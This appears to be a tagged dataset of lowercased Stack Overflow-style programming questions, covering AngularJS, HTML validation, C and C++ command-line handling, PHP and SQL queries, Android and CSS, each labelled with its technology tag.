pushing function value to array within ng-repeat  i have a function which returns a value within an ng-repeat.  it basically creates a total for each object of the ng-repeat.    how do i push each return value to a new array   i have tried the following:   <pre><code> $scope.linetotal = function(line){     var markup = 1 + (line.markuppct / 100);     var discount = 1 - (line.discountpct / 100);      var linetotal = line.price * discount * markup * line.qty;      return linetotal;      $scope.newarray.push(linetotal); } </code></pre>,angularjs
element title not allowed as child of element head in this context. (suppressing further errors from this subtree.)  i m getting the error in w3c validator. i have closed all the  so that isn t the issue. any tips would be greatly appreciated.   <pre><code>&lt;meta charset= &lt; php bloginfo( charset );  &gt;  /&gt; &lt;meta name= viewport  content= width=device-width  initial-scale=1.0  /&gt; &lt;meta http-equiv= x-ua-compatible  content= ie=edge  /&gt;  &lt;!-- site title --&gt; &lt;title&gt;&lt; php echo bloginfo(  name  );  &gt; | &lt; php echo the_title();  &gt;&lt;/title&gt; </code></pre>,html
download to android app s assets directory  is it possible to download files to an android app s asset s directory     i have some files under the app s assets directory that could potentially be updated at a later date  i want to update these files with network download via the app.    thanks,android
create a folder on client machine from asp.net web application  i have a very silly question  can i create a folder in client machine from a web application. i have tried to do that.    but i am unable to do so. i have created an asp.net web application using visual studio ide. and when i executed the web application using visual studio the folder is created.    after that i hosted the web application in iis and the tried to access the web application. the web application was accessed successfully but the folder was not created on the client machine.    could you please suggest me the ways of how to do it.    thanks.,asp.net
asp.net form tag client id or name in c#  how can i get the name or id of the form which asp.net rendered on client side from c# at server side.    or is it  aspnetform  always,asp.net
write a program that reads in all the command line arguments and prints the average  c++ <pre><code>//review3 #include &lt;iostream&gt; #include &lt;cstdlib&gt; #include &lt;string&gt; #include &lt;fstream&gt; using namespace std;  double average; int main(int argc  char* argv[]) {     int num1 = atoi (argv[1]);     int num2 = atoi (argv[2]);     int num3 = atoi (argv[3]);     average = ((num1 + num2 + num3) / 3);     cout &lt;&lt; average &lt;&lt; endl; } </code></pre>   i am not sure how to tackle this problem if i need to calculate the average of all of the command line arguments  this is how i would do it with 3 cla s but i am unsure how i would do it without knowing a set amount of cla s for this problem. does anyone also know how to do this if you had to find the median,c++
where can i get a touch event with phase uitouchphasestationary   in these methods  i get corresponding phases:<br> touchesbegan:withevent: uitouchphasebegan <br> touchesmoved:withevent: uitouchphasemoved <br> touchesended:withevent: uitouchphaseended <br> touchescancelled:withevent: uitouchphasecancelled.    where can i get a touch event with this phase: <em>uitouchphasestationary</em>,iphone
element  i  undefined [xhtml 1.0 tranditional] <pre><code>&lt;div id= vid3 &gt;     &lt;a href= ../videos/motiontween.html &gt;         &lt;img src= ../images/vid3.fw.png  width= 200  height= 111  align= left  margin-right= 10  alt= vid3  /&gt;     &lt;/a&gt;     &lt;h3 style= margin-top:-5px; margin-bottom:-15px &gt;         &lt;a href= ../videos/motiontween.html &gt; flash tutorial: how to motion tween&lt;/a&gt;     &lt;/h3&gt;     &lt;p&gt;         by &lt;i&gt;moynzy&lt;/i&gt; &lt;br /&gt;         in this simply and easy tutorial you will learn how to move an object from the left side of the screen to the right side of the screen.     &lt;/p&gt;                   &lt;/div&gt; </code></pre>   hello  i get validtion error  i have closed of my i tag. what s the big whole idea guys,html
jquery toggle hide/ show with plus and minus images and text  reigel s code works like a champ on jsfiddle. but won t do anything for me. what could i be missing  i believe i have the proper tags and a link to the relevant version of the jquery library.   <pre><code>  &lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;script type= text/javascript  src= js/jquery-1.4.2.min.js &gt;&lt;/script&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8 &gt; &lt;title&gt;jquery show/ hide cart- working  !!- mine&lt;/title&gt; &lt;style type= text/css &gt; .hidden {     display: none; } &lt;/style&gt; &lt;script language= javascript &gt;  $( .toggle ).click(function(){   $( .hidden ).slidetoggle( slow );     $(this).find( img ).attr( src  function(i src){         return (src.indexof( plussign.gif ) != -1)   minussign.gif  :  plussign.gif ;     }) });        $( .toggle ).click(function(){   $( .hidden ).slidetoggle( slow );         $(this).html(function(i html) {             if (html.indexof( show ) != -1 ){                html = html.replace( show   hide );             } else {                html = html.replace( hide   show );             }             return html;         }).find( img ).attr( src  function(i src){         return (src.indexof( plus.png ) != -1)   http://t1.gstatic.com/images     q=tbn:1ps9x2ho4lhpam:http://www.unesco.org/ulis/imag/minus.png  : http://t3.gstatic.com/images q=tbn:4tzrecjs_a1edm:http://www.venice.coe.int/images/plus.png ;     }); }); &lt;/script&gt; &lt;/head&gt;  &lt;body&gt; &lt;p class= toggle &gt;show panel &lt;img src= http://t3.gstatic.com/images q=tbn:4tzrecjs_a1edm:http://www.venice.coe.int/images/plus.png &gt;&lt;/p&gt; &lt;div class= hidden &gt; blah blah blah &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
why is my c matrix generating 50x50   i m working on a connect4 type game (with n user defined rows/columns/pieces in a row to win). it must be initialized through the command line from a make file  such as: <code>./connectn.out 3 3 3</code>   where <code>3 3 3</code> represent rows/cols/pieces in a row to win. when i run this i get a matrix of 50x50  rather than a 3x3! i m wondering if the issue lies in the command line argument code. the book i m using only has examples using <code>char rowstr[100]=   </code> where i think it should really be an <code>int</code>  i m not going to be inputting anything but ints into the command line so i m not sure the char is necessary.    here s some code from the main.c file. i m thinking the issue may lie in the <code>int numrows = *rowstr;</code> perhaps  maybe because i m defining the <code>int</code> as an array that s giving me 50 instead of 3     <pre><code>int main(int argc  char* argv[]) {    char rowstr[100] =   ;  // number of rows   char colstr[100] =   ;  // number of columns   char towinstr[100] =   ; //number of pieces in a row to win    if (argc &lt; 4) {     printf( not enough arguments entered\n                  usage connectn.out numrows numcols\n                  numtowin\n );     return 1; // 1 indicates error   }else if (argc &gt; 4) {     printf( too many arguments entered\n                  usage connectn.out numrows numcols\n                  numtowin\n );     return 1; // 1 indicates error   }    // grab inputs from command line   strcpy(rowstr  argv[1]);   strcpy(colstr  argv[2]);   strcpy(towinstr  argv[3]);    // output result    const char blankspace =  * ; //easier to show a blank space as a *   int numrows= *rowstr; //user defined   int numcols= *colstr; //user defined   int numtowin= *towinstr; //user defined   const char pieces[] =  xo ;   char **board = createboard(numrows  numcols  blankspace);   int rowplayed  colplayed;   int playerturn = 0; //0 means player1  1 means player 2    //here s a bunch of functions   while (!isgameover(board  numrows  numcols  blankspace         numtowin)) {     displayboard(board  numrows  numcols);     getmove(board  numrows  numcols  blankspace  &amp;rowplayed  &amp;colplayed);     makemove(board  rowplayed  colplayed  pieces[playerturn]);     playerturn = changeturn(playerturn);   }    declarewinnerortie(playerturn  board  numrows  numcols  blankspace  numtowin);   cleanup(&amp;board  numrows  numcols);    return 0;    } </code></pre>   here is code from the board.c file  where the board is created. if the numrows and numcols are const int and set to a number  such as 3  it prints out perfectly fine.     any ideas on how i can get my user input to correctly make the matrix size    <pre><code>void displayboard(char **board  int numrows  int numcols) {   //print board   for (int row = 0; row &lt; numrows; ++row) {     printf( %d    row);     for (int col = 0; col &lt; numcols; ++col) {       printf( %c    board[row][col]);     }     printf( \n );   }   //print column headers   printf(    );   for (int col = 0; col &lt; numcols; ++col) {     printf( %d    col);   }   printf( \n ); }  char **createboard(int numrows  int numcols  const char blankspace) {   char **board = (char **) malloc(numrows * sizeof(char *));   for (int row = 0; row &lt; numrows; ++row) {     board[row] = (char *) malloc(numcols * sizeof(char));     for (int col = 0; col &lt; numcols; ++col) {       board[row][col] = blankspace;     }   }   return board; } </code></pre>   here s a truncated picture of what s displaying when i run the program from the command line. <a href= https://i.stack.imgur.com/ls0jc.png  rel= nofollow noreferrer >50x50matrixboard</a>,c
update multiple form fields from inputs with a click of a button using java  i want to update multiple form fields from multiple inputs with the click a button.  here is the start of the code:   <pre><code>&lt;form id= frmfive9 &gt;     &lt;div&gt;         &lt;i&gt;             &lt;span lang=en-us style= font-size:14.0pt;line-height:             115%;color:black;background:yellow; &gt;                 &lt;strong&gt;                      if cash - click set to cash:                 &lt;/strong&gt;             &lt;/span&gt;         &lt;/i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;         &lt;input type= button  onclick= updatepaymenttype( cash )  value= set to cash &gt; </code></pre>   i would also like to update the payment amount  base amount and upsell amount from inputs.  is this feasible to do this in javascript,javascript
c++ compare const char* to std::string  i m trying to compare a char * to a to a std::string   <pre><code>const char *s =  0@s072116\tblah\tblah\blah ; std::string id =  072116 ; </code></pre>   i need to compare these two  basically before the first \t and after the first 3 chars on the left.  the width of the id can vary. :(    i m not very good at c++.  any ideas      thanks,c++
most efficient way to call/access windows form controls in a class  i added a csharp class to a form project. now i want to access the form controls from the class.    i am using this piece of code with the implicit var as follows:   <pre><code>var form = frmclasses.activeform as frmclasses; </code></pre>   using this code  i set the form modifiers to public  place the code is a method/function and i am able to access the form controls in the class.    the problem is each time i need to call a form control i have to use the var and the entire line of code above. is there a simpler way that is less redundant  example: each method/function in a the class will need to call the form controls thus referencing the form controls using var.    take a look at the code below  you will noticed that i am using var to call each form control.    code:   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.drawing;  namespace classes {     class clsproperties     {            //validate textbox         public static void validatetextbox()         {             var form = frmclasses.activeform as frmclasses;             if (form.txtmytextbox.text.trim().length == 0)             {                 form.txtmytextbox.backcolor = color.aquamarine;             }          }          //validate radio button         public static void validateradio()         {                var form = frmclasses.activeform as frmclasses;             if (form.radbtncolor.checked == false)             {                 form.lblshowerror.forecolor = color.aquamarine;             }          }     } } </code></pre>   form code:   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.windows.forms;  namespace classes {     public partial class frmclasses : form     {         public frmclasses()         {             initializecomponent();         }          private void btnsubmit_click(object sender  eventargs e)         {             clsproperties.validateradio();             clsproperties.validatetextbox();         }     } } </code></pre>   i could put all the validation in one method but i am simply trying to show how i would call multiple methods using a class.    is there a better way to access the form elements in a class     merci,c#
html direct rtl issue-arabic <pre><code>&lt;div class= col-md-3 &gt;   &lt;label class= control-label &gt;region&lt;/label&gt;   &lt;input type= text  ng-model= searchdata  class= form-control  dir= rtl  alpha-numeric-space  /&gt;   &lt;/div&gt;   </code></pre>   i am implementing arabic input in the text box. currently the above is code is working from <strong>right to left</strong>. but the solution what i need is when a user gives white space or comma  it should come towards the left side  but the above code will take towards the right side. i browsed through so many sites  but i didn t get the appropriate answer.  any help/advice greatly appreciated.    plunker: <a href= https://plnkr.co/edit/yirurep4q5dunmh8usrz  rel= nofollow noreferrer >https://plnkr.co/edit/yirurep4q5dunmh8usrz</a>,html
how to use the app function in android  i tried to add the xmlns:app but it became brown and some code become wrong due to that.    please see the picture below and tell me what i should do to fix it. thank you.    <img src= https://i.stack.imgur.com/tqq4k.png  alt=  >,android
bubble array sort in c++ implementation  i m trying to get this code to sort names but it doesn t seem to work for me.  what could be wrong  i have a class named student and want to pass the names and sort them in ascending order.  so what i am trying to do is pass the 4 object firstname onto the the sort_list function and sort them in ascending order and display them afterwards.  however when i run the code it shows me the same order i had and the sort function didn t seem to have done anything.  see if you guys can help me out here.   <pre><code>#include &lt;iostream&gt; #include&lt;string&gt; using namespace std;  //*************************************************************************** //student class //*************************************************************************** class student { private:     string firstname;     string lastname;     string studentid;     string phonenumber;     double gpa; public:     student();     student(const string&amp;  const string&amp;  const string&amp;  const string&amp;  const double&amp;);     string getfirstname() const;     string getlastname() const;     string getstudentid() const;     string getphonenumber() const;     double getgpa() const;     void setfirstname(string&amp;);     void setlastname(string&amp;);     void setstudentid(string&amp;);     void setphonenumber(string&amp;);     void setgap(double&amp;);    };  student::student() {     firstname =    ;     lastname =    ;     studentid =    ;     phonenumber =    ;     gpa = 0; } student::student(const string&amp;a  const string&amp;b  const string&amp;c  const string&amp;d  const double&amp;e) {     firstname = a;     lastname = b;     studentid = c;     phonenumber = d;     gpa = e;  } string student::getfirstname()const {     return firstname; } string student::getlastname()const {     return lastname; } string student::getstudentid() const {     return studentid; } string student::getphonenumber() const {     return phonenumber; } double student::getgpa() const {     return gpa; } void student::setfirstname(string&amp;u) {     firstname = u; } void student::setlastname(string&amp;v) {     lastname = v; } void student::setstudentid(string&amp;x) {     studentid = x; } void student::setphonenumber(string&amp;y) {     phonenumber = y; } void student::setgap(double&amp;z) {     gpa = z; }    //*************************************************************************** //course class //*************************************************************************** class course :public student { private:     string code;     int section;     int capacity;     int numstudents;     student *list; public:     course();     course(string  int  int);     ~course();     string getcoursecode();     int getsection();     int getcapacity();     int getnumstudents();     void setcoursecode(string);     void setsection(int);     void add(const student&amp;);     void display();     void display(const string  const int);     void remove(const string m  const int n);     void sort_list(); }; course::course() {     code =  cmpt1020 ;     section = 1;     capacity = 35;     numstudents = 0;     list = new student[35]; } course::course(string a  int b  int c) {     code = a;     section = b;     capacity = c;     numstudents = 0;     list = new student[c]; } course::~course() {     delete[] list;     list = nullptr; } string course::getcoursecode() {     return code; } int course::getsection() {     return section; } int course::getcapacity() {     return capacity; } int course::getnumstudents() {     return numstudents; } void course::setcoursecode(string a) {     code = a; } void course::setsection(int b) {     section = b; } void course::add(const student&amp; s) {     if (numstudents == capacity)     {         cout &lt;&lt;  course is full  &lt;&lt; endl;         return;     }     list[numstudents] = s;     numstudents++;     int i = numstudents - 2;     while (i &gt;= 0 &amp;&amp; (s.getgpa() &gt; list[i].getgpa()))     {         list[i + 1] = list[i];         i--;     }     list[i + 1] = s; } void course::display() {     for (int i = 0; i &lt; numstudents; i++)     {         cout&lt;&lt;list[i].getfirstname() &lt;&lt;   &lt;&lt; list[i].getlastname() &lt;&lt;   &lt;&lt; list[i].getstudentid() &lt;&lt;   &lt;&lt; list[i].getphonenumber() &lt;&lt;   &lt;&lt; list[i].getgpa() &lt;&lt; endl;     } } void course::display(const string x  const int y) {     if (y == 1)     {         for (int i = 0; i &lt; numstudents; i++)         {             if (list[i].getfirstname() == x)             {                 cout &lt;&lt; list[i].getfirstname() &lt;&lt;     &lt;&lt; list[i].getlastname() &lt;&lt;     &lt;&lt; list[i].getstudentid() &lt;&lt;     &lt;&lt; list[i].getphonenumber() &lt;&lt;     &lt;&lt; list[i].getgpa() &lt;&lt; endl;             }         }     }     if (y == 2)     {         for (int i = 0; i &lt; numstudents; i++)         {             if (list[i].getlastname() == x)             {                 cout &lt;&lt; list[i].getfirstname() &lt;&lt;     &lt;&lt; list[i].getlastname() &lt;&lt;     &lt;&lt; list[i].getstudentid() &lt;&lt;     &lt;&lt; list[i].getphonenumber() &lt;&lt;     &lt;&lt; list[i].getgpa() &lt;&lt; endl;             }         }     }     if (y == 3)     {         for (int i = 0; i &lt; numstudents; i++)         {             if (list[i].getstudentid() == x)             {                 cout &lt;&lt; list[i].getfirstname() &lt;&lt;     &lt;&lt; list[i].getlastname() &lt;&lt;     &lt;&lt; list[i].getstudentid() &lt;&lt;     &lt;&lt; list[i].getphonenumber() &lt;&lt;     &lt;&lt; list[i].getgpa() &lt;&lt; endl;             }         }     }     if (y == 4)     {         for (int i = 0; i &lt; numstudents; i++)         {             if (list[i].getphonenumber() == x)             {                 cout &lt;&lt; list[i].getfirstname() &lt;&lt;     &lt;&lt; list[i].getlastname() &lt;&lt;     &lt;&lt; list[i].getstudentid() &lt;&lt;     &lt;&lt; list[i].getphonenumber() &lt;&lt;     &lt;&lt; list[i].getgpa() &lt;&lt; endl;             }         }     } } void course::remove(const string a  const int b) {     if (b == 1)     {         for (int i = 0; i &lt; numstudents; i++)         {             if (list[i].getfirstname() == a)             {                 for (int j = i; j &lt; numstudents; j++)                 {                     list[j] = list[j + 1];                  }                 numstudents--;             }         }     }     if (b == 2)     {         for (int i = 0; i &lt; numstudents; i++)         {             if (list[i].getlastname() == a)             {                 for (int j = i; j &lt; numstudents; j++)                 {                     list[j] = list[j + 1];                  }                 numstudents--;             }         }     }     if (b == 3)     {         for (int i = 0; i &lt; numstudents; i++)         {             if (list[i].getstudentid() == a)             {                 for (int j = i; j &lt; numstudents; j++)                 {                     list[j] = list[j + 1];                  }                 numstudents--;             }         }     }     if (b == 4)     {         for (int i = 0; i &lt; numstudents; i++)         {             if (list[i].getphonenumber() == a)             {                 for (int j = i; j &lt; numstudents; j++)                 {                     list[j] = list[j + 1];                  }                 numstudents--;             }         }     } } void course::sort_list() {     string temp;     for (int i = 0; i &lt; numstudents; i++)     {         for (int j = 0; j &lt; numstudents-1; j++)         {             if(list[j].getfirstname() &gt;list[j+1].getfirstname())             {                            temp = list[j].getfirstname();                 list[j].getfirstname() = list[j+1].getfirstname();                 list[j+1].getfirstname() = temp;                                 }                        }      }    }  int main() {      student a( kevin    chen    300215915    7788408028   2);     student b( mickey    mouse    12345678    2222222222   2.5);     student c( donald    duck    24681012    3333333333   3.0);     student d( goofy    dog    3579111315    5555555555   3.5);     course x;       x.add(a);     x.add(b);     x.add(c);     x.add(d);     x.display();     cout &lt;&lt; endl;     x.sort_list();     x.display();        /*cout &lt;&lt;              &lt;&lt; endl;     x.remove( kevin   1);     x.remove( chen   2);     x.remove( 300215915   3);     x.remove( 7788408028   4);     x.display();       cout &lt;&lt; endl;      x.display( kevin   1);     x.display( mouse   2);     x.display( 24681012   3);     x.display( 5555555555   4);*/      system( pause );     return 0;   } </code></pre>,c++
which framework contain dns_open function in ios  dns_open is found in iphoneos5.0 in usr/include dns.h but i get a linker error. i can t seem to find the right framework for it.     on macosx this is probably found in system.framework but there is apparently no system.framework in ios sdk,iphone
cannot convert value of type  (_) -> bool  to expected argument type  nspredicate   i m working with the filter() method in swift 3  but encountering a problem  my code is....   <pre><code>filtered = arraytag.filter(using: { (text) -&gt; bool in         //access the title and sectors         let tmptitle = text[ tag_name ] as! string         let tmpsector = text[ tag_id ] as! string          //create a range for both         let range1 = tmptitle.range(of: searchtext  options: nsstring.compareoptions.caseinsensitive)         let range2 = tmpsector.range(of: searchtext  options: nsstring.compareoptions.caseinsensitive)         print( search result \(text) )          //return true if either match         return range1 != nil || range2 != nil     }) </code></pre>,ios
angular js - sending data from a directive to a parent controller  i have an app where i use the <a href= http://ngcart.snapjay.com/docs  rel= nofollow noreferrer >ngcart</a> directive in order to store the items added to a basket. the problem is that this directive just has the functionality of sending the information about the items added by the user  but i would need also to send some information that i would get from a form.    so in order to send it in a single object  i need first to extract the data stored in the directive to my main scope  and then merge it with the data i get from the form.    for that i need to modify the <code>ngcart.js</code> directive. i tried to make a service  as adviced <a href= https://stackoverflow.com/questions/12574765/better-design-for-passing-data-to-other-ng-views-and-persisting-it-across-contr >here</a>  but i don t get to get it working. the code i added to the directive is this   <pre><code>.service( ngcartdata   [ ngcart   function(ngcart){      return {         data:ngcart;     };   }]) </code></pre>     but i get an error saying <code>module  ngcart  is not available!</code>    i m totally new to services and factories in angular  so i don t know exactly where to look to make it work. i made a <a href= http://plnkr.co/edit/kd1rwgyohacowj7vrkcs p=preview  rel= nofollow noreferrer >plunkr</a> with my code (i tried modifying the <code>ngcart.js</code> file with the code above  but the plunkr shows the directive without any modification). i just need to be able to send the data stored in the directive in the scope ngcart so that i can listen to it in the parent controller (see the checkout section in the plunkr).    any help would be much appreciated. thanks!,angularjs
java: timezone why different timezone give same value in millisec  i have following code  my target is going to return <code>gmt+0</code> time in millisec. but why i always get my local timezone millisec           <pre><code>calendar cal = calendar.getinstance(timezone.gettimezone( gmt )); calendar cal2 = calendar.getinstance(); system.out.println( time zone id is: +cal.gettimezone().getid()+ ;time in millisec: +cal.gettimeinmillis()); system.out.println( time zone id is: +cal2.gettimezone().getid()+ ;time in millisec: +cal2.gettimeinmillis()); </code></pre>   <strong>the output is</strong><br> time zone id is:gmt;time in millisec:<code>1332740915154</code><br> time zone id is:europe/helsinki;time in millisec:<code>1332740915154</code>    why different timezone give same value in millisec <br> i suppose if it is <code>gmt+0</code> then it should be different value in millisec against local time zone.,java
what is the default value of a specific dimension(width height etc) of a container  what will be the default value of a dimension(in terms of width  height  size etc) of a container(say ul element or footer element) if the container is not given any specific value for any of these (width  height  size etc) in it css styling.     and also what size will be assumed by say  an image whose width is 100% and nested inside such a dimensionless container.     i am asking because if an image of 100% width is nested inside a container with a specified width  the image can only occupy 100% of that specified width of it container. what if the container has no defined value for any dimension,css
ng-repeat with json in angularjs  i have a json    <pre><code>{ uuid : 5634   day : three   one :{}  two :{}  three :{ people :[{ name : sam   count : 2 } { name : das   count : 5 } { name : smith   count : 12 } ]}} </code></pre>   i want to repeat only the data from the key  three . is it possible to map that with the value  day,angularjs
angular single page app  how do i handle the user leaving page then pressing back   i have a single page angular app that has links to pdfs in it.  when the user clicks on them  they fill the screen and if they press back  the angular app restarts rather than resuming where it use to be.    what i am trying is to use window.onbeforeunload to store the data from my controllers in the browsers local storage before my spa is unloaded and then i restore the data when i catch the route when the back button is pressed.    the problem i have is if there are multiple tabs on the browser with my app open  then they all think that that they need to restore the data from the local storage.    is there a better way to handle the user going to another url then pressing back  should i be trying to catch a browser back button event to see if i should reload the data from local storage,angularjs
make mobile slide into viewport when scrolled  i am coding a wp theme  and have a problem:    when i click the hamburger menu before scrolling down the page  my mobile menu slides in perfectly. however  if i scroll down the page  the mobile menu doesn t slide into view (i have to scroll back up to see it).     i ve tried a number of things (overflow-y: scroll)  but can t seem to get it to work! what can i do  javascript     html/php:   <pre><code>&lt;nav class= navbar navbar-fixed-top navbar-light &gt;         &lt;div class= container &gt;                     &lt;a class= navbar-brand  href= # &gt;                     &lt;img src= &lt; php bloginfo( template_directory ); &gt;/img/fulllogo.png  class= fluid-img pull-md-left  id= navlogo &gt;                 &lt;/a&gt;                  &lt;div class= hidden-sm-down &gt;                     &lt; php                      $mobilemenu = array(                          sort_column  =&gt;  menu_order                            container  =&gt; false                           theme_location  =&gt;  mobile_menu                            menu_class  =&gt;  desktop-nav                            container_id  =&gt;  desktopnavcontainer                        );                     wp_nav_menu( $mobilemenu );                      &gt;                 &lt;/div&gt;                  &lt;a&gt;                     &lt;button type= button  id= hamburger  class= pull-right hidden-md-up &gt;                         &amp;#9776;                     &lt;/button&gt;                 &lt;/a&gt;         &lt;/div&gt;         &lt;/nav&gt;     &lt;div id= mobilemenu &gt;         &lt;button type= button  id= mobilemenuclosebutton  class= pull-right &gt;             &amp;#735;         &lt;/button&gt;         &lt;div id= mobilenavwrapper &gt;             &lt; php                  $mobilemenu = array(                      sort_column  =&gt;  menu_order                        container  =&gt; false                       theme_location  =&gt;  mobile_menu                        menu_class  =&gt;  mobile-menu                        container_id  =&gt;  mobilenavcontainer                    );                 wp_nav_menu( $mobilemenu );              &gt;          &lt;/div&gt;     &lt;/div&gt; </code></pre>   css:   <pre><code>/******** navigation ************/  #mobilemenu{     display: none;     position: relative;     z-index: 10000;     top: 0;     background-color: rgba(0 0 0 .95);     width: 100%;     font-size: 3em;     text-align: center;     overflow-y: scroll; }  #mobilenavwrapper{     margin-bottom: 70%; }  #mobilemenuclosebutton{     font-size: 2em;     color: white;     position: absolute;     top: -25px;     right: 9%; } </code></pre>   and finally  the js:   <pre><code>/* ----------- mobile menu appear --------------- */     $( #hamburger ).click(function(){         console.log( got it );         $( #mobilemenu ).slidedown(400);     });      $(window).scroll(function(){         if ($(window).scrolltop() &gt; 600){             $( #mobilenav ).addclass( menuscrolled );         } else{             $( #mobilenav ).removeclass( menuscrolled );         }                      }); </code></pre>,css
what is the use of the character @ in @opendir in wordpress  i would like to know the use of <code>@</code> character in wordpress. for example:    <code>if ( $plugins_dir = @ opendir( wp_content_dir ) ) { ... }</code>    also what is the difference between <code>@opendir</code> and <code>@ opendir</code>  i.e. using a space after <code>@</code> character.    i am new to wordpress.,php
multiple values check and then return sql  suppose i have a table with columns: name and pizzaeaten now i want all the names who have eaten both pepperoni and mushroom i.e. not to include the ones that have only eaten pepperoni....or those who have only eaten mushroom. but only those who have eaten both pepperoni and mushroom,sql
notice: undefined index: query in  i m doing a webpage for a university task but i m having problems with this code.    <pre><code>if ($_post[ id_temporada ]&gt;0 and $_post[ query ]==  ) {     $consulta= select * from obras where id_temporada= .$_post[ id_temporada ]; } </code></pre>   also with this one   <pre><code>if ($_post[ id_temporada ]&gt;0 and $_post[ query ]&lt;&gt;  ) {     $consulta= select * from obras where temporada= .$_post[ id_temporada ].  and nombre     like  % .$_post[ query ]. %  ; } </code></pre>   in both cases  i have the notice i posted on the title. what should i do,php
append to a xth dimension without specifying the dimension  i m stuck figuring out how to do the following. i have a dict <code>x = {}</code>. i also have two strings <code> a/b/c/d </code> and <code> e/f/g </code>. in each case  i want to add values to dict x  e.g.  <code>x[a][b][c] =  d </code> and <code>x[e][f] =  g </code>.    is there a way to tell python to figure out how deep i want to put  d  or  g  without having to specify a full path     my current solution looks very ugly and i m looking for a better way to do this.   <pre><code>x = { a : { b : { c : {}}}   e : { f : {}}} s =  a/b/c/d .split( / ) if len(s) == 4:     x[s[0]][s[1]][s[2]] = s[3] elif len(s) == 3: #x[e][f] case     x[s[0]][s[1]] = s[2] </code></pre>,python
clarifying k&r exercise 1-9  i have a few questions on this exercise. here is the code i m dealing with:   <pre><code>#include &lt;stdio.h&gt;  int main (void) {     int c;     int inspace;      inspace = 0;     while((c = getchar()) != eof)     {         if(c ==    )         {             if(inspace == 0)             {                 inspace = 1;                 putchar(c);             }         }          if(c !=    )         {             inspace = 0;             putchar(c);         }     }     return 0; } </code></pre>   (sorry i m having a lot of trouble comprehending how these programs work because they re so simple and lack description on how they actually work)    first of all  how does putchar(c) not output the same exact data that came in. despite it checking for a blank or != blank  it still says to output  c  which is just getchar(c) meaning whatever was inputted. i see no code that specifies to delete extra spaces and output just one space. where does the code specify that that is what must take place  i m having trouble understanding how getchar/putchar works it seems to me.    also  what importance does inspace == 1 or 0 have  if inspace is == 1 then it just outputs the characters inputted back out. there s nothing saying that the extra blanks are deleted and inspace isn t defined as anything except 0 or 1  there s nothing defining it as a space so how can it possibly have any real meaning as to what the program is doing      i m really confused  where is the code that s replacing the spaces and how does it work  is there a simpler book i should be learning from that explains the solutions,c
mysql query check  what is wrong with this query    <pre><code>insert into table1 values id  pic0  pic1  pic2  pic3  pic4 from table2 where condition1 =  cond1  and condition2 =  cond2  and age =  18  and ( weight =  100 - 115 lbs  or weight =  115- 130 lbs  ) and hairlength &lt;&gt;  short  </code></pre>   conditions are for table2.  i want to insert into table 1 just the rows from table two which meet the conditions set my me after where clause.    thank u,mysql
setting up postgresql development in rails with multiple users in database.yml   i am in the process of migrating my sql to postgresql because i want to develop in the same environment as my production.    i installed postgres and was able to set my database yml file such that <code>rake db:create:all</code> worked with no problems.    however before i pushed  i realized that the username and password of the postgresql database is only available on my computer. i.e. i created the login role on my computer. when my friend who is also developing on the application  pulls the code  he won t have the username and password created by me on my computer.     is he supposed to also create the same login role  or is there a way to leave username / password blank so that everyone who develops can access the application  more importantly  what is the best practice for a situation like this     i am developing on windows and he is on mac.     my database.yml: username and password left out.   <pre><code>development:   adapter: postgresql   encoding: unicode   database: volatility_development   pool: 5   timeout: 5000   host: localhost  test:   adapter: postgresql   encoding: unicode   database: volatility_test   pool: 5   timeout: 5000   host: localhost  production:   adapter: postgresql   encoding: unicode   database: volatility_production   pool: 5   timeout: 5000 </code></pre>,ruby-on-rails
query gives empty result because of where clause  <code>table : tbl_email_scheduler</code><br> here <code>date_to_send =   2013-10-12  and send_status = null</code>. (at time createing table i have given send_status default null)    mysql :    <pre><code>select   id    to_users    subject    message    product_id    date_to_send    send_status    status    createdate from tbl_email_scheduler where date_to_send =  2013-10-12     </code></pre>   gives me result    but when i    <pre><code>select   id    to_users    subject    message    product_id    date_to_send    send_status    status    createdate from tbl_email_scheduler where date_to_send =  2013-10-12      and send_status !=  y  </code></pre>   it gives me empty result why   pls answer.,mysql
how to give time gap between two activities in android   this is my code.i used one one popup message while clicking on button for that i used toast after that i want to move next screen   <pre><code>button replybutton = (button) findviewbyid(r.id.reply);         replybutton.setonclicklistener(new view.onclicklistener()          {           public void onclick(view v)            {                 edittext replysubjedittext=(edittext)findviewbyid(r.id.replysubjedittext);                edittext replymsgedittext=(edittext)findviewbyid(r.id.replymsgedittext);                  string temp_string=replysubjedittext.gettext().tostring();           try               {                  replysubjedittext.settext(  );                 replymsgedittext.settext(  );                 }               catch(exception e)               {                 log.v( add  e.tostring());               }                toast.maketext(emailreply.this   sending....                           toast.length_short).show();                   intent mynewmail = new intent(emailreply.this emailform.class);                 mynewmail.addflags(intent.flag_activity_clear_top);                  startactivity(mynewmail);             }            }); </code></pre>,android
"css not overriding bootstrap  i have a span tag with a class specified.  in my css i use that class to set  align:left  in order to override bootstap css of  align:center .  when i inspect the span tag  my override is checked as is the bootstrap css with a  align:center  crossed out.  but the text in the span is still centered.  if i uncheck the  align:center  style  it aligns left.  why is bootstrap not being overridden   i also tried using and id instead of a class but for some reason the css didn t get picked up at all.  here is some code:       <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.bulletsleft {
   text-align: left !important;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code> &lt;span class= bulletsleft &gt;
    some text!
  &lt;/span&gt;</code></pre>
 </div>
 </div>
     and    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#bulletsleft {
   text-align: left !important;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;span id= bulletsleft &gt;
   some text!
 &lt;/span&gt;</code></pre>
 </div>
 </div>",css
how to covert sqlite database table values in csv format   can i import and write the sqlite database values in csv format in iphone app programmatically      thanks in advance....,iphone
